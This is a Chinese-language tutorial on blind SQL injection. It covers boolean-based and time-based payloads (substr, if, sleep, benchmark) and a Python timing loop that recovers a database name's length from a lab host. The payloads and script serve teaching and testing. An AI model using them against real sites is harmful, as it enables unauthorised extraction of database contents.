渗透测试-SQL注入-盲注
盲注的使用场景: 没有回显的时侯
一、Boolean型盲注
Boolean是基于真假判断(true or false) ;不管输入什么,结果都只返回真或假两种情况。Boolean型盲注的关键在于通过表达式结果与已知值进行对比,根据比对结果比对正确与否。
盲注有时需要一个一个字符去猜,因此一些字符串操作的函数经常被用到
length(): 返回查询字符串长度
mid(column_name,start,length): 截取字符串
substr(string, start, length): 截取字符串
Left(string,n): 截取字符串
ORD(): 返回字符的ASSii码
ASCII(): 返回字符的ASSii码
举例:
# 先盲注长度
1 and length(database()) = 5
1 and substr(database(),2,1) = 'e' --+ 如果响应正确,说明数据库名的第二个字符是e
# 构造更复杂的SQL语句
http://192.168.88.130/security/read.php?id=1 and (select substr(database(),1, 1)='l');
还可以使用BurpSuite进行遍历,获得正确的数据库名称
二、时间盲注
Boolean盲注还是能通过页面返回的对错来判断,当页面任何信息都不返回的时候,就需要用时间盲注了。时间盲注就是在布尔盲注的基础上,首先经过真假的判断,然后再真假判断上添加时间的判断。
时间盲注所需函数大多与布尔盲注相同
length(): 返回查询字符串长度
mid(column_name,start,length): 截取字符串
substr(string, start, length): 截取字符串
Left(string,n): 截取字符串
ORD(): 返回字符的ASSii码
ASCII(): 返回字符的ASSii码
if():逻辑判断
sleep():控制时间
benchmark():控制时间
举例
1 and if(length(database())=5,sleep(3),1)
1 and if(substr(database(),1,1)='a',sleep(3),1)
1 and (select benchmark(50000000,(select username from users limit 1)))
import requests,time
for len in range(50):
start = time.time()
header = {"Cookie":"PHPSESSID=6j55ei1ahv1rh7c0sb0e24eee1"}
url = f"http://192.168.88.130/security/read.php?id=1 and if(length(database())={len},sleep(3.5),1);"
resp = requests.get(url=url,headers=header)
end = time.time()
resptime = end - start
if int(resptime) >=3:
print(len)
break
三、python脚本代码
相关的python脚本代码见: https://github.com/chengstery/security/tree/main/py_script
无法直接使用,可以修改到合适自己的情况使用